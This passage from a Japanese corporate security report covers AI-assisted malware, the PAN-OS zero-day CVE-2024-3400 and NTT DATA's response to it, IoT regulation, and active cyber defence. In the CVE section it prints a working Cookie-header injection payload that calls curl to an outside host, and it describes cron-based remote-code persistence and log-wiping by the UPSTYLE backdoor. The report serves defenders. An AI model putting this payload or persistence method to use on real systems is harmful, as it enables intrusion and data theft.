ます。生成AIを悪用して従来のサイバー攻撃も効率が向上しています。悪意のあ

るプロンプト入力を用いた生成AIシステムへのサイバー攻撃も、実際に発生して

います。 

生成AIを活用する企業は、生成AIのさまざまなリスクへのセキュリティ対策を

講じる必要があります。たとえば、サイバー攻撃に強い堅牢なAIモデルを構築し

ます。意図的にノイズを加えた入力データをモデルへ与えて、敵対的サンプルを

生成します。この敵対的サンプルと正しいラベルをペアにして、AIモデルを学習

させると、AIモデルは回避攻撃に対しても正しい判断ができるようになります。

個人情報などの機密情報の漏洩を防ぐために、AIモデルの学習に必要な最低限の

データのみを使用したり、機密情報を共有せずにAIモデルを共同でトレーニング

したりします。定期的にAIモデルの性能や脆弱性の有無をチェックする方法も有

効です。生成AIのセキュリティに関する知識とスキルを備えた人材を育成して、

生成AIへの入力内容を事前にチェックして悪意のある内容を検出してブロックし

たり、AIモデルの挙動を常時監視して異常な動作やセキュリティ侵害を早期に検

知できるようにしたりします。このように、組織全体で生成AIの包括的なセキュ

リティ対策の導入を進めましょう。 
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4. マルウェア・ランサムウェア

『生成AIのサイバー攻撃への

悪用と必要な対策』 

NTTデータ SL事業本部 セキュリティ＆ネットワーク事業部 鳥山 歩生 

 

生成AIは、我々の生活やビジネスを変革する一方で、サイバー攻撃を迅速に、

強力かつ効率的に進化させています。独立行政法人情報処理推進機構以以下、「IPA」

という）によりますと、生成AIで自動作成したマルウェアを使った攻撃が一般化

するまでには、時間がかかるものの、大きな脅威になり得ます [39]。 

本記事では、生成AIが作成したと推測するマルウェア「Rhadamanthys」の事例

を紹介し、生成AIが作成するマルウェアという新たな脅威に対して、既存のマル

ウェア対策だけでは対策が不十分であることを示します。さらに、AIを活用した

防御策を提案し、AIがセキュリティに与える影響をメリットとデメリットの両面

から紹介します。 

 

4.1. 生成AIで強化されるサイバー攻撃 

生成AIは、私たちの生活やビジネスに多大な影響を与えていますが、その一方

でサイバー攻撃の手法にも大きな変革をもたらしています。生成AI及びその技術

基盤であるLLMを悪用したサイバー攻撃の手法は多種多様です。本章では、サイ

バー攻撃への生成AIの悪用例を示します。また、生成AIが作成するマルウェアと

従来のマルウェアの違いを紹介します。 

 

4.1.1. サイバー攻撃への生成AIの悪用 

攻撃者は生成AIを悪用して、マルウェアの開発の生産性を向上したり攻撃手法

を進化させたりしています。IPAは、攻撃者が生成AIもしくはLLMを使って下記の

ようにサイバー攻撃を強化すると予測しています [39]。 

 

（ア） マルウェア作成の強化：サイバー攻撃で使用するマルウェアの作成時間の

短縮できます。具体的には、攻撃者は生成AIを悪用して高品質でバグの少ない

攻撃スクリプトの迅速な作成が可能となり、従来の手動によるコーディング時

間を大幅に短縮します。また、生成AIは新しい攻撃手段のアイデアを攻撃者に

提供し、新しい攻撃スクリプトを開発する力を向上させます。 

 

（イ） 脆弱性研究：攻撃者はLLMを悪用して膨大な量の脆弱性データを解析し

て、ソフトウェアやシステムの未発見の脆弱性を短時間で特定できます。 

 

（ウ） セキュリティ機能の回避：攻撃者はLLMを悪用して二要素認証等のセキュ

リティ機能を回避する方法を特定します。 

 

このように、攻撃者は生成AIもしくはLLMを悪用し、サイバー攻撃を多様な方

法で強化する可能性があります。また、メールのドラフト作成や翻訳といった、

日常的な方法で生成AIを悪用し、生産性を高めることも考えられます。 
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4.1.2. 生成AIが作成するマルウェア 

生成AIを悪用したサイバー攻撃リスクを予測する様々な記事では、攻撃者が高

度なマルウェアの作成に生成AIを悪用するおそれを指摘しています。生成AI悪用

の具体的な手法の一つはマルウェアのコードの難読化です。マルウェアのコード

を難読化すれば、マルウェア対策ソフトのシグネチャベースの検知メカニズムを

回避できます。また、LLMによりマルウェアの過去の攻撃データを学習し、マル

ウェアの動作を実行環境の状況に応じて攻撃手法を変化させ、検出を困難にする

ことが考えられます。例えば、マルウェアが特定のセキュリティソフトの有無を

チェックして、動的に攻撃手法を変更することが考えられます。 

 

4.2. 生成AIが作成したマルウェア

「Rhadamanthys」 

Proofpoint, Inc. によると、2024年4月に攻撃グループTA547が、ドイツの様々

な業種の数十の組織を標的にした攻撃キャンペーンを行いました。TA547は、ド

イツの小売り企業Metroになりすまして、電子メールでRhadamanthysと呼ばれる

マルウェアを送信しました。Rhadamanthysは情報窃取ツールです [40]。 

 

4.2.1. 生成AIが作成した痕跡 

生成AIでRhadamanthysを作成したと推測する理由が、いくつかあります。ま

ず、Rhadamanthysのロードに使用する2つ目のPowerShellスクリプトには、生成

AIが作成したと可能性がある特徴がありました。具体的には、PowerShellスクリ

プトの関数やクラスなどのコンポーネントの最初の行に、特徴的なコメント文が

書いてあったのです。この特徴的なコメントは、生成AIがPowerShellスクリプト

を作成するときに残す典型的な出力形式の一つです。つまり、TA547が生成AIを

使用してPowerShellスクリプトを記述、または書き直ししたか、もしくは他の誰

かが生成AIで作成したPowerShellスクリプトからコピーしたと推測できます。

Rhadamanthysに関係するPowerShellスクリプトにこのような特徴があるため、

Rhadamanthysも生成AIで作成した、または生成AIを悪用して改変したマルウェア

であると推測します。 

 

4.2.2. 生成AIが作成するマルウェアの脅威 

Rhadamanthysの事例から、攻撃者が生成AIを悪用してマルウェアを作成して

いるおそれがある具体的な証拠が見つかりました。生成AIを悪用すれば、短期間

でマルウェアの亜種を作成できるだけでなく、コーディングスキルがなくても比

較的短時間でのマルウェアの作成が可能です。例えば、2024年5月には、警視庁

サイバー犯罪対策課が複数の生成AIを悪用してマルウェアを作成した人物を逮捕

しました。この人物は、ITに精通していませんでしたが、生成AIを使ってマルウ

ェアの作成に成功しています [41]。 

さらに、米国では研究者らによって、生成AIを使用して公開されたばかりの脆

弱を自律的に攻撃するマルウェアの作成に成功しました [42]  

専門知識を有する攻撃者が、生成AIの支援を受け高度なサイバー攻撃を実行す

る能力が向上するおそれがあります。また攻撃者が生成AIを利用することで短時

間の間に多くの亜種が作成され、企業のセキュリティチームは対応が追い付かな

い状況に陥るリスクがあります。攻撃者が新たな亜種を頻繁に作成することで、

システム脆弱性の修正やマルウェアの検出が遅れ、被害が拡大する可能性があり

ます。現時点では生成AIが劇的にマルウェアの脅威を引き上げたわけではありま

せんが、企業は将来のセキュリティリスクに備える必要があります。 

しかし、生成AIを使っても、高いレベルの難読化や最先端の攻撃技術を持つマ
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ルウェアは作成できません。マルウェアのファイルのハッシュ値を使ったマルウ

ェア検知システムの検知を回避することはできますが、振る舞い検知を使ったマ

ルウェア検知システムやEDR以Endpoint Detection and Response）には通用しま

せん [43]。 

これらの事例からは、現時点では生成AIで作成されるマルウェアには従来のセ

キュリティ対策を脅かすほどの脅威ではないが、将来的には現実的な脅威となり

えると推測します。具体的には、生成AIを用いれば、専門的な知識を持たない個

人でもマルウェアを作成できるようになります。開発コストも大幅に下がり、短

期間でマルウェアやサイバー攻撃に使うツールやコンテンツの開発が可能になり

ます。その結果、サイバー攻撃は現在よりもさらに多く発生すると予想します。 

次の章では、企業がとるべきAIを活用した対策を紹介します。 

 

4.3. 企業がとるべきAIを活用した対策 

攻撃者が生成AIを悪用してマルウェアを強化していくならば、企業もAIの技術

を活用して防御を強化する必要があります。AIを駆使した新たなテクニックをセ

キュリティ対策へ導入すれば、AIを悪用して進化する脅威に対抗できます。本章

では企業がとるべき具体的な対策案を示します。 

 

4.3.1. AIを用いた脅威インテリジェンスの強化 

AIを用いた脅威インテリジェンスを強化とは、まずAIが世界中の多様な情報源

からデータを迅速かつ大量に自動で収集し、次に収集したデータを機械学習した

結果を使って解析することです。AIの強みであるパターン認識と異常検出の能力

を発揮して、収集したデータから異常なパターンや脅威を特定します。特定した

マルウェアのハッシュ値やC&CサーバのIPアドレスなどの通信先情報を使えば、

最新のマルウェアを検知、対策できます。またマルウェアのリスクを減らすこと

が可能な例として、AIを用いた脅威ハンティングの自動化があります。AIは、脅

威インテリジェンスで収集したマルウェアの特徴を学習して、新たなマルウェア

のシグネチャを自動作成します。AIを用いた脅威インテリジェンスは直接的にマ

ルウェア対策できるわけではありませんが、脅威インテリジェンスの結果を活用

して、生成AIを悪用して作成したマルウェアのリスクも間接的に減らすことがで

きます。 

AIを用いた脅威インテリジェンスでは、人間のアナリストが見逃してしまうよ

うな微妙な兆候や複雑な関係性をあきらかにできます。また、AIは24時間365日

監視できるため、企業は人的リソースを節約しながら最新の脅威情報を把握でき

ます [44] [45] [46]。 

 

4.3.2. AI駆動型EDRの導入 

従来のシグネチャを使った検知システムでは、新種のマルウェアに対応できま

せん。新種のマルウェアや攻撃者へ対応するため、多くの組織はEDRを導入して

います。EDRは、マルウェアのファイルのハッシュ値やシグネチャを使った検知

だけでなく、振る舞いを使った検知も行います。振る舞い検知は、マルウェアの

ファイルやコードではなく、その挙動を監視して、異常な動作を検知します。し

かしEDRにも以下表 4-1の問題点があります。これらの課題を解決するために、

AI駆動型のEDRが注目されています。AI駆動型のEDRは、従来のルールベースの

EDRが抱える問題点を解消し、より高度なセキュリティ対策を提供します。 
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表 4-1：AI駆動型EDR 

問題点 解説 AI駆動型EDRによる解決方法 

大量のアラ

ートの処理

負担 

EDRの振る舞い検知は誤検

知が多く、膨大な量のアラート

が発生するため、運用者が全

てを処理しきれず、マルウェア

感染などを見逃すおそれがあ

ります。 

AIを活用したユーザの正規の操

作とマルウェアや攻撃者の振る

舞いを見分ける機能により、誤検

知を減らすことが可能です。 

対応の遅れ EDRの一般的な振る舞い検

知の機能では、短時間で暗号

化や情報持ち出しを行うマル

ウェアを検知し、隔離するまで

の判断が間に合いません 

[47]。 

AIを搭載したEDRは、最新の高

度なマルウェアや攻撃者の振る

舞いを迅速に検知し、状況を判

断して自動で対応します [48] 

[49]。 

 

AI駆動型のEDRは、迅速なインシデントレスポンスを実現します。この適応能

力により、常に最新の攻撃手法にも迅速に対応でき、セキュリティの質を向上さ

せます。 

 

4.3.3. AIのセキュリティ監視運用への活用 

セキュリティ運用にAIを活用すれば、以下の効果が期待できます [50] [51]。 

 

以ア） セキュリティ運用の省力化：生成AIを活用すれば、高度なロジック

を備えたPlaybookを短時間で構築できます。このPlaybookを使うことで、

脅威の検出から対応までの一連プロセスを自動化し、セキュリティ運用の

省力化を実現します。 

（イ） 運用者のサポート：生成AIのチャットボットを導入します。運用者

は、熟練者に頼らなくても、アラートやスクリプト、コマンドの内容などの技術

的な質問に対する回答をすぐに得ることができます。これにより属人化を防

ぎ、全体的な品質の向上につながります。 

 

このように、セキュリティ運用へのAIの活用は、セキュリティ運用の効率化と

属人化の問題を解決します。多くのプロセスを自動化し、人的リソースの負担を

大幅に軽減します。属人化を解消して高度なスキル持つ人材の時間を確保するこ

とで、運用者は重要な脅威の対処に集中できます。これにより、セキュリティ運

用チーム全体の業務効率や品質が向上します。 

 

4.4. まとめ 

将来、生成AIやLLM技術の進化に伴い、マルウェアやサイバー攻撃の高度化と

多様化が進むと予測します。生成AIは、多様なバリエーションのマルウェアを生

み出す能力を持ち、難読化や動的適応能力を備えた新種のマルウェアをもたらし

ます。このような生成AIによるマルウェアは深刻な脅威となり、従来のセキュリ

ティ対策では対応できないケースも増えるでしょう。 

企業も、AIを用いた脅威インテリジェンスやセキュリティ運用の自動化システ

ムを導入して、進化する脅威に対応します。企業はAIを活用してセキュリティオ

ペレーションを自動化して迅速な検知と自動対処を可能にしたり、人的リソース

を効率化してセキュリティ態勢を強化したりします。これにより、持続的なビジ

ネスの安全性を確保し、絶え間なく進化するサイバー脅威に対応できるようにな

ります。 
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5. 脆弱性『ゼロデイ脆弱性、一

度の情報確認では不十分』 

NTTデータグループ C&I技術部 情報セキュリティ推進室 菊地 美紀子 

 

ベンダがパッチ提供などのセキュリティ対策を実施する前に公になった脆弱性

をゼロデイ脆弱性といい、ゼロデイ脆弱性を悪用したサイバー攻撃をゼロデイ攻

撃といいます。近年、ゼロデイ脆弱性の発生は高止まり傾向です。「グローバル

セキュリティ動向四半期レポート(2023年度第3四半期）」でもゼロデイ脆弱性の

影響を指摘しており、IPAの「情報セキュリティ10大脅威 2024 [組織]」でも3年

連続でゼロデイ脆弱性が選出されるなど、ゼロデイ脆弱性はIT社会に大きな影響

を与える脅威です [52] [53]。 

2024年4月に多くの組織に影響を与えたPAN-OSの脆弱性「CVE-2024-3400」も、

ゼロデイ脆弱性の１つです。本記事では、このPAN-OSの脆弱性「CVE-2024-3400」

を取り上げ、NTTDATA-CERTが実施した対応と脆弱性情報の確認の重要性を解説

します。 

 

5.1. CVE-2024-3400について 

CVE-2024-3400は、攻撃者がリモートからコード実行できるおそれのある脆弱

性です。Palo Alto Networks社は2024年4月12日に本脆弱性の情報を開示しました

が、その時点で既に本脆弱性を用いたサイバー攻撃が発生していました。以下で

は本脆弱性の概要、攻撃手法、タイムラインを解説します。 

5.1.1. 概要 

CVE-2024-3400は、Palo Alto Networks社のPAN-OSにおけるOSコマンドインジ

ェクションの脆弱性です。この脆弱性を悪用することで、第三者が認証なしで任

意のコードをルート権限で実行するおそれがあります。この脅威の影響を受ける

おそれがある製品は、「GlobalProtectゲートウェイ」または「GlobalProtectポー

タル」、もしくはその両方の機能を有効にしているPAN-OSを使ったネットワーク

機器です [54]。主に次世代ファイアウォール以NGFW）、仮想ファイアウォール、

クラウドセキュリティゲートウェイのファイアウォール製品が該当します。脆弱

性情報が公開される前の2024年3月26日および27日に、本脆弱性の悪用の疑いが

ある事象を、複数の組織が確認しています [55]。 

5.1.2. 攻撃手法 

CVE-2024-3400は、HTTPリクエストのCookieヘッダーにあるセッションIDの値

を処理するときに、適切なサニタイジングを行っていないことが原因の脆弱性で

す。攻撃者が、セッションIDを不審なコードへ書き換えたHTTPリクエストをPalo 

Alto Network社の当該脆弱性があるファイアウォール機器へ送ると、ファイアウ

ォール機器上の任意のパスへのファイル作成や任意のコマンド実行が可能です。

例えば、HTTPリクエストのセッションIDの値を以下のように書き換えると、ファ

イアウォール機器はcurlコマンドを実行して、攻撃者はその結果を取得します [56]。 

 

Cookie: 

SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere22

6`curl${IFS}x1.outboundhost.com`; 

 

攻撃者がこの攻撃手法を用いてファイアウォール機器へリバースシェルをダウ

ンロードしたり、ファイアウォール機器の設定データを窃取したりした証拠が見
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つかっています。 

つぎに攻撃者がこの攻撃手法を用いて、侵害する活動を説明します。攻撃者は

Cronジョブを用いて、ファイアウォール機器上で遠隔コマンドを永続的に実行で

きる仕組みを確立します。具体的には、攻撃者はこの攻撃手法を用いて 「patch」

というファイルをファイアウォール機器へダウンロード後に実行して

/etc/cron.d/updateを作成します。Cronジョブは、/etc/cron.d/updateを60秒ごと

に実行します。このファイルは、攻撃者の用意したURLから「policy」という名前

のファイルをダウンロードして、Bashで実行します。つまり、攻撃者が必要なコ

マンドをpolicyファイルに書いて自身のWebサーバに置くだけで、ファイアウォ

ール製品がそのコマンドを実行します。 

攻撃者がpolicyファイルを使って遠隔から実行するコマンドは６パターンあり

ます。例えば、Pythonで書かれた「UPSTYLE」という名前のリバースシェルコマ

ンドなどです。UPSTYLEは、Webサーバのログ上に記録された存在しないWebペ

ージのリクエストエラーの中から特定のリクエストを取り出し、そのURIに含む

攻撃者のコマンドを抽出して実行します。このコマンドの実行結果は、ファイア

ウォール製品が使用している正規のCSSファイルへ追記され、攻撃者はすぐにHTTP 

GETコマンドでCSSファイルを読み込んでコマンドの実行結果を取得します。

UPSTYLEは、15秒後にCSSファイルを元の状態に復元して、存在しないWebペー

ジのリクエストエラーをログから削除します。さらに、ファイルのタイムスタン

プも復元して攻撃の痕跡を消します [57]。 

5.1.3. タイムライン 

本脆弱性のタイムラインを表 5-1に示します。4月10日にVolexity社が脆弱性を

悪用したサイバー攻撃を発見してPalo Alto Networks社へ報告を行ったあと、Palo 

Alto Networks社は、4月12日に迅速に脆弱性情報を公開しています。4月12日に

Palo Alto Network社が最初に脆弱性情報を開示したときは、脆弱性が該当する製

品のうち、「GlobalProtectゲートウェイの機能が有効」かつ「デバイステレメト

リの設定が有効」になっている場合に、脆弱性の影響を受けると記載していまし

た。Palo Alto Network社は、4月14日に該当製品の脆弱性の影響を受ける条件に

 「GlobalProtectポータルの機能の設定が有効」になっていることを追加しました。

つまり脆弱性の影響を受ける製品の範囲が、「GlobalProtectゲートウェイの機能

が有効かつデバイステレメトリの設定が有効」、または「GlobalProtectポータル

の機能が有効」へ広がりました。さらに4月17日には、「デバイステレメトリの設

定が有効」が脆弱性の影響を受ける条件から外れて、影響範囲がさらに拡大しま

した。それだけでなく、4月12日にはデバイステレメトリの設定を無効化すれば

脆弱性の影響を回避できると言っていたはずが、デバイステレメトリの設定がそ

の条件から外れたため、回避策が無いことが判明しました。このように、脆弱性

情報や対策方法が刻一刻と変化する場合は、最初の情報だけで脆弱性の影響を判

断してセキュリティ対策するのみでは、不十分です。脆弱性情報の更新に気づき

ません。情報の更新に気づかない場合、脆弱な状態が続き、脆弱性を狙ったサイ

バー攻撃で被害が発生する確率が高くなります。 

表 5-1：タイムライン(CVE-2024-3400) 

日付 出来事 

2024/3/26 複数の組織で最初の侵害が発生 

2024/4/10 Volexity社が脆弱性を悪用したサイバー攻撃を発見して、Palo 

Alto Networks社へ報告 

2024/4/12 Palo Alto Networks社がCVE-2024-3400の情報を開示 

⚫ 影響を受ける製品 ：GlobalProtectゲートウェイの機能の設

定が有効になっている、かつデバイステレメトリの設定が

有効になっている製品 

⚫ 回避策：デバイステレメトリの設定の無効化 
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2024/4/12 米国CISAのKEVに登録 [58] 

2024/4/14 Palo Alto Networks社が影響を受ける製品の条件を更新 

⚫ 影響を受ける製品：GlobalProtectゲートウェイまたは 

GlobalProtectポータル、またはその両方の機能が有効にな

っている、かつデバイステレメトリの設定が有効になって

いる製品 

⚫ 回避策：デバイステレメトリの設定の無効化 

2024/4/15 Palo Alto Networks社が一部バージョンのパッチ提供を開始 

2024/4/17 Palo Alto Networks社が対象の条件と回避策を更新 

⚫ 影響を受ける製品 ：デバイステレメトリの有効/無効に関わ

らず、GlobalProtectゲートウェイまたはGlobalProtectポー

タル、またはその両方の機能が有効になっている製品 

⚫ 回避策：なし以デバイステレメトリの無効化では本脆弱性

の影響を回避することができない） 

⚫ 緩和策：ネットワークアクティビティの監視 

2024/4/19 全ての対象バージョンのパッチを提供 

 

5.2. NTTDATA-CERTでの対応 

ここでは、本脆弱性の公開を受けて、NTTDATA-CERTが実施した緊急脆弱性対

応を紹介します。 

NTTDATA-CERTでは、脆弱性の危険度を重大度０、０＋、１、２の４段階で評

価します。そしてこの重大度ごとに脆弱性の対応方針を定義しています [52]。ま

た、インターネット接続デバイスの検索エンジン「Shodan」や社内のシステム台

帳、脆弱性のスキャン結果を用いて、脆弱性の影響を受ける製品とその組織やプ

ロジェクトへのコミュニケーション手段を特定しています。 

NTTDATA-CERTは、2024年4月12日に本脆弱性の情報を確認し、重大度１と判

定して対応を開始しました。具体的には、全社への脆弱性情報の周知、および本

脆弱性の影響を受ける製品を使用しているシステムへ対応を依頼しました。 

 「3.1.3 タイムライン」で説明したように、本脆弱性の影響を受ける製品や条件

が4月12日から14日と17日の2回変化しています。NTTDATA-CERTでは、4月12日

の段階で、該当製品を利用していることが特定できた組織やプロジェクトと適切

なコミュニケーションラインを確立していました。そのため、4月17日の脆弱性

情報の更新時、NTTDATA-CERTは同日中に影響調査を完了しました。2回の脆弱性

情報の変化がありましたが、どちらも迅速に影響有無を調査できました。 

NTTDATA-CERTからの本脆弱性の周知は、脆弱性の影響を受ける製品や回避策

に関わる新しい情報を短い間隔で複数回公開したため、システム管理者の混乱を

招くおそれがありました。各システム管理者には正確な対応を行ってもらわなけ

ればならないため、本脆弱性の周知には十分配慮しました。例えば、NTTDATA-

CERTでは可能な限り迅速に周知文の更新を行いますが、周知直後にPalo Alto 

Network社が脆弱性情報を更新して、周知が追いつかない場合もあります。この

ような最新情報を反映できないタイミングを考慮して、周知文のタイトルに更新

日を掲載して、周知内容にPalo Alto Networks社サイトへのリンクを含め、シス

テム管理者へPalo Alto Networks社サイトの最新情報も確認するよう記載しまし

た。 

周知にはどの程度の詳細な情報を含めるべきか、悩む場面もありました。必要

以上に多くの情報を提供すると、重要な情報を見落とすおそれや、混乱を招くお

それがあります。ゼロデイ脆弱性の場合、今すぐ攻撃の被害に遭うおそれがある

ため、システム管理者が短い時間で正しく情報を確認できる必要があります。そ

のため、周知文はシンプルかつ明確に記載するよう心がけました。その結果、当

社は本脆弱性による被害を受けずに脆弱性対応を完了しました。 
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5.3. 脆弱性情報確認の重要性 

ここでは、組織のセキュリティ担当者やシステム管理者がゼロデイ脆弱性の脆

弱性情報を確認する行為の重要性を解説します。 

5.3.1. ゼロデイ脆弱性情報の正確さと迅速さ 

ゼロデイ脆弱性では、脆弱性情報の公開前から脆弱性を狙ったサイバー攻撃が

発生しているため、組織のセキュリティ担当者やシステム管理者は、迅速で正確

なセキュリティ対策方法の情報を求めています。しかし、一般には脆弱性情報を

開示するときの迅速さと正確さはトレードオフの関係にあります。脆弱性の発生

条件が複雑な場合、脆弱性の影響を受ける製品のバージョンや条件の特定に時間

がかかります。そのため、情報開示が迅速になるほど、情報の正確性を損なう場

合があります。 

実際に、本脆弱性CVE-2024-3400は、4月12日と14日の脆弱性情報では正確な

回避策を提供できていませんでした。本ゼロデイ脆弱性だけではなく、多くの組

織に影響を与えたIvanti Connect SecureおよびIvanti Policy Secureの脆弱性も、最

初に脆弱性情報を公開した2024年1月10日以降、脆弱性情報の更新が複数回あり

ました。 

5.3.2. １日１回以上の情報確認が必要 

脆弱性情報の公開時、組織のセキュリティ担当者やシステム管理者は、まず自

分の管理するシステムへのその脆弱性の影響の有無を迅速に判断しなければなり

ません。しかし、ゼロデイ脆弱性の場合、脆弱性情報を一度確認して対象外と判

断した場合や回避策を実施して脆弱性対応を終了してしまった場合は、脆弱性が

残ったままになる場合があります。ゼロデイ脆弱性も普通の脆弱性も、脆弱性情

報が更新されることがありますが、特にゼロデイ脆弱性の場合は情報を頻繁に更

新することが多いです。そのため、前述のように影響を受ける製品や条件、回避

策が変わることを踏まえて、セキュリティ担当者やシステム管理者は、自分の管

理するシステムに関係する脆弱性情報を継続して確認しなければなりません。 

脆弱性情報の公開直後は、頻繁に情報を更新する可能性があります。特に本脆

弱性のようなゼロデイ脆弱性の場合は、ベンダが脆弱性情報を日々更新すること

があります。そのため、セキュリティ担当者やシステム管理者は、脆弱性情報が

公開された直後の２週間程度は少なくとも１日１回以上の更新確認が必要である

とNTTDATA-CERTは考えています。情報確認を可能な限り高い頻度で確認して、

迅速に対応すれば、脆弱性を狙ったサイバー攻撃で被害が発生するリスクを抑え

ることにつながります。また、脆弱性情報の公開から数か月後に重大な修正が発

生する場合もあり得るため、１日１回を基本として数か月間は継続的に更新を確

認することが理想です。しかし、組織では複数のシステムを扱っている場合がほ

とんどで、毎日膨大な脆弱性情報を確認するにはかなりの労力を要します。また、

本脆弱性CVE-2024-3400のように頻繁に情報更新が行われることがあり、休暇や

他の業務をこなしながらの更新確認では、確認が遅れてしまう場合や更新を見逃

すおそれがあります。これらの理由から、脆弱性情報を毎日手動で頻繁に確認す

ることは難しい場合が多いです。そのような場合には、ツールを使用して確認作

業の負担を軽減することを推奨します。例えば、脆弱性情報データベースがあり

ます。脆弱性情報データベースに通知機能を組み込めば、脆弱性情報が公開・更

新されたときに、セキュリティ担当者やシステム管理者へ自動で通知して、いち

早く気づくことが可能になります。また、脆弱性情報データベースでは複数の製

品の脆弱性情報を管理できるため、担当者はそこから一元的に脆弱性情報を確認

できます。このように脆弱性情報データベースを導入することで、脆弱性情報の

確認や重大度の評価を効率的に実施できます。 
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5.4. まとめ 

ゼロデイ脆弱性の場合、ベンダは最初の脆弱性情報の早期開示を優先して、最

初の情報開示後に情報を更新することが多いです。本記事で取り上げたPAN-OS

の脆弱性 「CVE-2024-3400」の場合も、最初の脆弱性情報の公開後に、影響を受

ける製品や条件、回避策の情報を更新しました。組織のセキュリティ担当者やシ

ステム管理者は、脆弱性情報を最初の一度だけ確認して脆弱性対応を終了しただ

けで、安心してはいけません。ゼロデイ脆弱性も普通の脆弱性も、少なくとも１

日１回以上、脆弱性情報の更新を確認することが必要です。特にゼロデイ脆弱性

の場合は、更新の確認が1日遅れただけで重大な被害に遭うおそれがあります。

組織のセキュリティ担当者やシステム管理者は、情報更新に迅速に対応すること

で、組織のセキュリティリスクを最小限に抑えることにつながります。 

  



      

22 

 

© 2024 NTT DATA Group Corporation / NTT DATA Japan Corporation 

6. 予測 

IoTセキュリティの現状とこれから 

IoT製品の急速な普及により私たちの生活がより便利になる一方で、IoT製品に

対するサイバー攻撃のリスクが高まっています。IoT製品ではセキュリティ対策が

不十分であることが多く、攻撃者によるIoT製品を狙った攻撃が発生しており、実

際に被害も確認されています。各国は、この問題に対応するためにIoT製品のセキ

ュリティ制度の整備を進めています。 

日本では、IoT製品のセキュリティ制度の整備を始めています。たとえば、2025

年3月からは独立行政法人情報処理推進機構(IPA)でIoT製品に対するセキュリティ

要件適合評価及びラベリング制度以JC-STAR）の運用を開始する予定です。この

制度により、製品詳細、適合評価、セキュリティ情報や問合せ先といった情報を、

IoT製品の調達者や消費者は簡単に取得できます。調達者や消費者はセキュリティ

対策ができているIoT製品を選ぶことが可能になり、サイバー攻撃のリスクが低く

なることが期待できます [59]。 

海外では、IoT製品のセキュリティに対する法的整備が進んでいます。欧州連合

(EU)では、製品にサイバーセキュリティ対策を義務付ける 「欧州サイバーレジリ

エンス法」が2024年10月10日に採択されました [60]。米国では、2020年に「IoT

サイバーセキュリティ改善法以IoT Cybersecurity Improvement Act of 2020）」が

成立し、連邦政府が使用するIoT製品に対する最低限のセキュリティ基準を設けて

います [61]。これらの動向から、今後さらに多くの国々が同様の認証制度や規制

を導入すると予測します。 日本では欧州サイバーレジリエンス法やIoTサイバー

セキュリティ改善法のような法制度はないため、法制度化に取り組む可能性もあ

ります。 

また、AI技術の普及に伴い、AI技術を活用して、IoT製品を狙ったサイバー攻撃

手法がより高度化するおそれがあります。その場合、セキュリティ制度の整備だ

けではセキュリティ対策が不十分です。高度化する攻撃に対抗するために、企業

や組織はゼロトラストセキュリティの導入検討など、ネットワーク全体の防御力

を強化することも有効です。ただし、IoT製品ではゼロトラストセキュリティの要

件を満たすことが難しい場合も考えられます。このような場合には、IoT製品を対

象としたゼロトラストセキュリティを実現するサービスを活用することが、ゼロ

トラストセキュリティ導入の検討を進めるのに役立ちます [62]。このように、IoT

製品のセキュリティ対策は、国レベルでのIoT製品向けのセキュリティ関連の法制

度整備と企業レベルでの具体的なIoT製品のセキュリティ対策を両輪となって進

めることが必要になると予測します。 

 

能動的サイバー防御 

能動的サイバー防御以アクティブサイバーディフェンス）とは、従来の受動的

なセキュリティ対策とは異なり、攻撃者の行動を予測し、攻撃を受ける前にこち

らから能動的に対策を講じることで、攻撃の被害を最小限に抑えようとするサイ

バーセキュリティコンセプトです。 

現在、日本では政府が能動的サイバー防御の導入に向けた法整備を進めている

など、能動的サイバー防御がトピックに上がっています。日本政府が2022年12月

に策定した「国家安全保障戦略」では能動的サイバー防御の導入が正式に宣言さ

れました。また、2024年6月には有識者会議の初会合が開催され、能動的サイバ

ー防御を導入するための法案や体制に関する話し合いが行われました。有識者会

議では能動的サイバー防御実施のための体制を整備するために必要な方針として、

主に下記3つを挙げています [63]。 
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① 民間事業者等がサイバー攻撃を受けた場合、政府への情報共有や政府から

民間へ対策の調整、支援を行う取り組みの強化 

② 国内の通信事業者が役務提供する通信に係る情報を活⽤し、攻撃者による

悪⽤が疑われるサーバ等を検知するための取り組み 

③ 国の機関やインフラなどの安全保障に関わる攻撃に対し、攻撃者のシステ

ムへの侵入、無害化ができるように政府に必要な権限を付与できるように

する 

 

①の官民連携を促進していくためには情報共有を行う上での情報様式の統一や

体制について議論されています [63]。②の通信事業者がリスクを検知する機能を

持つことに関しては、現行法との整合について議論されています。例えば、通信

事業者が入手した情報を外部に出すとしたら、通信の秘密に関する憲法や電気通

信事業法、攻撃側のシステムに侵入する際は不正アクセス禁止法、攻撃を無害化

するためのプログラムを生成すると、マルウェアに分類されるケースが多く、刑

法以ウイルス作成罪）に抵触する可能性も出てきます [64]。③のアクセス・無害

化については実行力を伴う制度および体制の構築、国際法との整合性などが議論

されています [63]。体制・法律の整備をすることができれば、脅威情報を関係機

関で共有し、危険なドメインを特定してサーバからの通信を遮断したりなど攻撃

を受ける前に被害を防ぐようにするための措置を国家的に行うことができるよう

になります。 

また、能動的サイバー防御が導入されることによる企業への影響にはどのよう

なものがあるでしょうか。能動的サイバーにおける情報提供・共有は、インフラ

関連や政府機関と接点を持つ企業だけでなく、サプライチェーンを構成する中小

の事業者にも影響が及ぶ可能性があります。攻撃の内容によっては、事業領域に

関わらず、被害を受けた組織に情報提供が求められるケースはあり得るでしょう 

[64]。また、危険性が高い攻撃が拡がった際は、踏み台にされた企業のサーバも

無害化の対象になるかもしれません [64]。 

能動的サイバー防御の議論の方向性によって一般企業にも影響が出る可能性が

あるため、一般企業として準備しておく事項が明確になった際に適応できるよう

に日頃から注視しておく必要があるでしょう。 
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7. タイムライン FY2023_4Q 

NTTデータグループ C&I技術部 情報セキュリティ推進室 寺師 悠平  

 

2023年度第4四半期、Ivanti Connect Secureの脆弱性を狙ったサイバー攻撃が世

界中で発生して、同製品を使っている複数のシステムで大きな被害がありました。 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2024年4月にはMITREが本脆弱性を狙ったサイバー攻撃で被害が発生したことを

公表しました。 

RIPEやAPNIC、AFRINIC、LACNICといったインターネットアドレスリソースを

地域ごとに管理や割り当てをする重要インフラ組織を標的とした攻撃も発生しま

した。重要インフラでの被害は、一般企業へのサイバー攻撃に繋がり、サービス

の中断やエンドユーザの情報漏えいといった重大な事案に繋がる可能性があるた

め、被害が発生した際の対応を事前に計画しましょう。 
